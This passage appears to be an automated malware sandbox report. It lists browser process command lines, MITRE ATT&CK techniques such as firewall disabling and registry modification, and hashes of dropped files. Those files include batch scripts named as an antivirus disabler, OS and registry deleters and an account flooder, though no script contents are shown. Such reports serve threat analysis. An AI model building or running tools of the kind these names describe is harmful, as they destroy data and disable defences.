  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1976,15248360108717917977,183893111945809623,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2016 /prefetch:2
  2⤵
  PID:4068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1976,15248360108717917977,183893111945809623,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 /prefetch:3
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1976,15248360108717917977,183893111945809623,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
  2⤵
  PID:3152

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:436

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\72d4c054-4078-425a-8a02-8e9949d743c3.tmp

Filesize
7KB

MD5
6ec130ac874a5ffbeac286c699f80755

SHA1
74bf509aeb6ca22f053751322f337009b05f2f3f

SHA256
df5b27dbdf259b863faa36fcdc04ba611f19364b8d2dbbceaff9d44f0e780ca8

SHA512
d9305d52666cafef40a602d52ca509c8e2a8395b402f3be995f347a616fc664462987e1d6cf10e29d051f8a99288a2247b7152ad73c84b50102c41fea3452419

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
001bc72a09ac1b642e5fb0e8a27f4de5

SHA1
f6007322a621539f98e8e1ef87a152ff8c4de779

SHA256
22e5948beb040b1e6c93c870d469428a349f8b679468008eeec542a476328f15

SHA512
665e9c0107607581b7c3fd4f9afe56aff7739bb85db50e4a8782ff5f9c132f48b0cdb08d681a082b0e471f9a942460d36c888e83a526a75dc520b6d27a36afb8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
a42da46fc3f438f55bb0f0e05ea49bdb

SHA1
626dfa8e220ee9fc7d776b2f6bc8221068e64ef8

SHA256
a1b8c8216c510400512d9ceaacf538df36d75744bbf0fd56d031c072ed65928c

SHA512
2ffbc8c12a74ed6d8454e01e71aad5648a9ae713e9eab112a398f89cba699c9c000dcb91c62bbe3795ab3c243ba905b95318380e114066ea3e02a677e4036c94

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
83b8c437857643a3595144e253a4c1f3

SHA1
2755fd9c103cdbfe16a7b7ce029bbeab94e2654d

SHA256
2228acdad133abb54382a4982d58860a3bee2950bf34fc890b83fe264f93d83e

SHA512
1149668662344a08030d5ed604956494ab5aecc93078cfe1304ef110abcceb1514e0b86bb871f5c85aeb2ec970cf3aff60f50651daeffc9a7cba0cd4d0fda4b1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
d67f646c825f96eb8c335de34aa74853

SHA1
1e0199904acb2ab2b72d168501798611c01da4d6

SHA256
caa468e04ada80e3aed5fd2107b197ee40dba459ddec190c843ddc7d699b3801

SHA512
08ace5dac79447e0524b7854868ba6b2573136a9220722176e7651956a6d4e59f6ed3eb73e66ca8336144ad6eea84e02920eb1a566d2377b0ed356af25ca09e1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
0cab77e3b3cf3e5da20debcbbbe64be1

SHA1
85cb6cd3c14cc10d6354a5f86934e84264883198

SHA256
00049410bd1225b79153cb2191c0b7b34b398dadaabae2384e995f7e7135b81f

SHA512
aa45c5170e0a423c28d03748c1f86290e69df2f74fedceec34849f08e11220e8676bc7fc54b4be5ced9eb07aa6d30d8838d121a001d3435f4ad6ca421a8d1b15

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
1b592a0fec70737b6f90029a52e07b8f

SHA1
1ef1e23f6355ac6af1076beabb125e6719f2f649

SHA256
167ee4b7acd749f272367ec640145abb3c5558e96f403fda2d21dd888663afec

SHA512
195f8ba0df067741ad05ad232337340ff2b7a11cc54b891940cacd42dd1646192d4a47cccc28496da82e318506f6f742020324af5e1d21b076306a250ba2d716

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
933346552a1bae3e5efbe091666ce0a5

SHA1
05d6edbd80291964f9432c448fa808672e45f7bb

SHA256
8118943dc0d9a526a08481dfdcbfb43f508bc4bb98e0bc976a45633c0266d172

SHA512
7da90c5c79d5be23b5ccc2ce908a27724063f43de4ff95f10476fba9329c06c0a1d32f5f313b01ec3319e61c7b127b70d796c49153ffa1a9e0591a42293703f5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
b5e6d04ba2e4d88cc279a3f5310d4539

SHA1
10af990b753ef450fbf097ec4d849f764ee9dfeb

SHA256
5b5f782e46ae95dea067ca28164619b26efa934b147684257bea30553dbdb3f5

SHA512
dd92a3d6efd7e74e185476a5f395f0205d15dee8cddf419efe465495fa68dbcfadf4dedf8adfc55ad704e1e5b908f983ef20d8e93b0c5d0ff3d99985ccb60aee

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
e5463d6ee8fcdd3e87cee8b1e7865b99

SHA1
ba24e8dbf637fed3c558219fc901ca6895753b08

SHA256
7416ab1b3df63dbc0350d1a537a7ffda12355a52335e4cec1af921fe2f71e7ed

SHA512
2bafdec173293b0915aace056b74eb4a735206ac59c5dedb66ff28ebf3acc512f424865ca133a1c16266bed29cb910a29fe53f0428e294ee9534c4e02bee0d50

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
3f1ee22b5da6725835c73014a25f9647

SHA1
6d9556373a605b03991ea28e69b96918b7984d09

SHA256
b71d2c940ee5198d619f07452740e8e50a734b4d23cdd5fed3b0e2964d3fbee9

SHA512
015f24d2afbaa8b5510d4474362aef2c0bbd24ecb2379d32285615bac747dcc38f5398df0a6d339b6b540a559dd7de7f4671cf797d3604025fe5d19173086c6c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
37b33c0774b20105e61ffbb072823342

SHA1
a95303377ab26eab0d4ab457bc4f2b82ee9fbcf1

SHA256
aef5f96955a483bb3dedb34aac0ab3a1dc60b796b5d6a287ae65462844234753

SHA512
e959706006612968377a9e0137cf2c2953ebc2f5599f4a68bcd1803a73cf2797e213e1bcfedc7d05a695964ce2ddfa57996fff04e22333b831ee2197329060fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
9529524e91dde8533819205258f7b639

SHA1
2fd5a7279e5b7b75b8fe011c4786c7c6b7205b64

SHA256
800a22075a90d2d08ea0b8440bc15de3e33188e68c1780e4229c2b9143d505a2

SHA512
666a2d84123ec64b68492776687b3417c845ab047c1af2e7dd1e35bdb1d2605dcfa1108d9675b804979d795bfb3826aa89e1d4836f1d93f7385ee8065ea81b0a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
3ec6698b11b970bf68d676e01956b8a6

SHA1
cc5d9184fd70f7c47883696476940ee859456368

SHA256
367f9f00dc97918a9d6e35cecc89272a5bf3bd8307a6a83092f599ffb8f6df79

SHA512
00661349ab87a61d233199a7f59c3b7f4cb4c83bdea9c2f8a149ea09f17e848437636a5abf18fbf98f5ee429d894340f2e0c96665d876418a24fd2f68cb0017b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
277KB

MD5
81f7776c865c16316ca5ede2e548f605

SHA1
c7f96749a9de7e557fd4b4b0e2a9025391a19384

SHA256
b3f199775e89a086873cc319b821518eaebde303b656715ce72612a457756095

SHA512
20751d0bb9f30fda736b1d469b3b26bdbd542c387d0081751cfb15ad140a39e7a84e8d5d28ce058af6abc0b8e3535599dbe8f93d7a8ce9ccab2c90e634d518cb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
265KB

MD5
921900f4efd9406fe5645ad570169a50

SHA1
1845528b06a2bf2c5bfca6f9ca5425e2bfa95917

SHA256
c6cd736c005eccf364bb59fe301fbdd1c567a1d5cc6d54b7592b72fde15c7196

SHA512
cbbe9d99f4ef7ca5174cedbc98c6a91bbae4f6ccc10d1d9ffc046fd4016caa347470ac188aba6c7187a79d35741f8a3c2b8f8fa8c931921b5fbca7beb4a6b07d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
257KB

MD5
0fa384dcf6ca30a1b03b9fb81d47637b

SHA1
5eaee733cb8186eb0c7d710693803a2b8843dcc9

SHA256
f73ca1bdae41d6b2d691a5e6d8a0cdb2c454d589b51a21e577805749566b0979

SHA512
a14ebe8312c50affc13e492e8387296abdf92417316ec778faa08c66e795d379d48f8ff3efd7905f9e21c54dc3f0150914696bef732028c19c5e9b78b6295107

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
257KB

MD5
104f7ba15b12cadad845a1098bc99f07

SHA1
d85ec29a72cc731ed683f4efede77534c5d41c88

SHA256
ddcb698c83afa2338810e4a0553f5dec5a1ed17646036bdc480078f1b9ba68dc

SHA512
8420fb8270110bfc688bfa10de936d734c1b1e239d6cae9c6de5ca519293ac89e8944cf57a2c6e08b69f4faaff3a59c3f8f530bd57993bacc51116ccbb751f0b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
257KB

MD5
14e1e3159707021015d76a66c75f5551

SHA1
e0a5db558b403c01582876f2f8d034336f224f0f

SHA256
090874b02e0ddd9183d799eef8cca8b3353b50a4a456c89e9969e5681dfab775

SHA512
293166b25f8d1a2ca8a87af6463eed89458b08927cf34d011e277b90107593b0af551049605b9bc435e89280ad764ff2c69836ff18cbcce9318e7f3f333d9f97

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
257KB

MD5
0984eea0da7f1528eb5ecc39f4e21650

SHA1
a22e74db4dbd6fb14a667565123063ee6c61de2e

SHA256
5a730f51f581049037956436e3d107c4468a2cc7612e2bd2d8cf694f8ad84a47

SHA512
a7372a31a4022558cbd1366a9223f55ff5091729ac7bb8089169c0181768261b9a03b7448ee2848a93ff35d1b6fdecd6a8e79b3a15b608eb435b1a99a02b8ec4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
104KB

MD5
8f2a9387e5650348a3aeee47dcad82eb

SHA1
fdb57d859d573d6c09f314d0fc568887bbdca5e2

SHA256
1490721e12e44277403bc3137276678e0ce4ed7635a8696a2cd1e53df14271ba

SHA512
fec2e4d409841203d60b436d15aedaf6621dd306c752f859a94ce1617c7f6ae3a8fcd3156be9bb2429ec01c2ad307d1457551f8fe53ea1eaf56851a9665be19c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe57d830.TMP

Filesize
100KB

MD5
7d6fdb08fcbfdee310690a066dc89918

SHA1
052548118e5ef067e560e100f4c4d3e8bc1163c9

SHA256
71a78ae0f5f71550ab90ed53133aba3d8941422d81b6744f14ce657669e10329

SHA512
bc80a2a94804f575ebb6944f95ec07c1ccdae78199d36d8f1c7a05350185f8f9b33227cfc636a20e2796c8f2648999a6f592fb7e9bb0a345cb954137f5dddfc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
612a6c4247ef652299b376221c984213

SHA1
d306f3b16bde39708aa862aee372345feb559750

SHA256
9d8e24c91cff338e56b518a533cb2e49a2803356bbf6e04892fb168a7ce2844a

SHA512
34a14d63abb1e3fe0f9927a94393043d458fe0624843e108d290266f554018e6379cba924cb5388735abdd6c5f1e2e318478a673f3f9b762815a758866d10973

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c8cd5c0a4f40332cc3991044d5524033

SHA1
8c76a5292a2ac93c9bb44378598ff8545ff7414d

SHA256
40cae01d0078a56ba68a6772f5b72779f0471454c12a6ed76fcc289597a7b707

SHA512
3844bcd47c16141931324af84833745711ac3bbb7ad8531ced98c7efeda5d81852fe14ff3d1aa735caddb6951ee257243de632f7111f768ca96a2e4c4e2d9b45

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
2729098f4ebbec2c85459f53a4d39c41

SHA1
9aa5a60c7b618421f5a92c5f6b292c4838084f34

SHA256
286c55c2e765ea74584f489bba64d6db8364355cd324bae77d3667921e4781c9

SHA512
9ffb8ac8ce70d79850aa312feeb6c5c9382d916943deefa752acde2496a9c332c3ae2a4de9bc0a2fffe3495c733384e9263ae8875363605b1f27716927922c86

Download Submit
C:\Users\Admin\Downloads\Antivirus Disabler.bat

Filesize
2KB

MD5
95eb8b5ae196de4827c32e7be1bd27d7

SHA1
3f80606e0ef76bd6f5004d7a5f35aba684f889e5

SHA256
2160c08a0d98fd5cbbd3e72739b0f4075098250a136f627682d200490d9313f6

SHA512
ea138d8b0eaa7a542a336c7f0642589871ae0d02064d20812b8683b4e38a84389659325c0261c883ad720b43e25a49b1565f6164611c10573abee1c740936a3d

Download Submit
C:\Users\Admin\Downloads\Os_deleter.bat

Filesize
25B

MD5
90982e304ae9cac175b8953d8dac1034

SHA1
eabc2a4088796719de06f31fa7a086677dfa7c75

SHA256
186c18ad276aa93b47ac826eef1925b9d15b0dc9cd6daf4c4ed89ba6df09b232

SHA512
add6afd6dce66ffeb29519ea2daf326cb78dd9e19414d2428eba1cbd39a849dfe9a5d1918117b9469625b5233d45932b22b234ba5dc4eb4ed5cacae09d9bf3af

Download Submit
C:\Users\Admin\Downloads\Registery_deleter.bat

Filesize
192B

MD5
3cbc550664519490f18f34a9f9436600

SHA1
e5b438019712cabf62c7ded056b025e32696e6fe

SHA256
c5faad1101e390b68f3ccf44931a21b8089698f9a02d835e89816dc6ffd0875d

SHA512
cdea9e62fb2ad22012866d74a39ecbfc423cdeebf1ac1451e482ff9035e34a8154427e3bde6c6adca03ef24e35b5baf8e8c13d9df3085bfb347097d0977a2b73

Download Submit
C:\Users\Admin\Downloads\useraccount_flooder.bat

Filesize
45B

MD5
95b2c2b328b522dd8b03434db32cf80d

SHA1
da4d9997d933837f2cc107458ae4304e7358a5c8

SHA256
69060eaab69324f06ae63408f5a4424a2905cd80148cce4650145b73581fc933

SHA512
09a00de4d395383eeaf86fe4156842df67a0611cb62847585dd127a442237e5ba14499f74c6c5e0322108de7715104625d893b176fcf4e49b8d7f0a74f670eed

Download Submit
memory/452-385-0x000001C314560000-0x000001C314561000-memory.dmp

Filesize
4KB

Download
memory/452-369-0x000001C30C240000-0x000001C30C250000-memory.dmp

Filesize
64KB

Download
memory/452-353-0x000001C30C140000-0x000001C30C150000-memory.dmp

Filesize
64KB

Download
memory/452-387-0x000001C3145B0000-0x000001C3145B1000-memory.dmp

Filesize
4KB

Download
memory/452-388-0x000001C314580000-0x000001C314581000-memory.dmp

Filesize
4KB

Download
memory/452-389-0x000001C314590000-0x000001C314591000-memory.dmp

Filesize
4KB

Download
memory/4252-251-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-252-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-253-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-254-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-255-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-256-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-257-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-238-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-237-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download
memory/4252-236-0x0000023564550000-0x0000023564551000-memory.dmp

Filesize
4KB

Download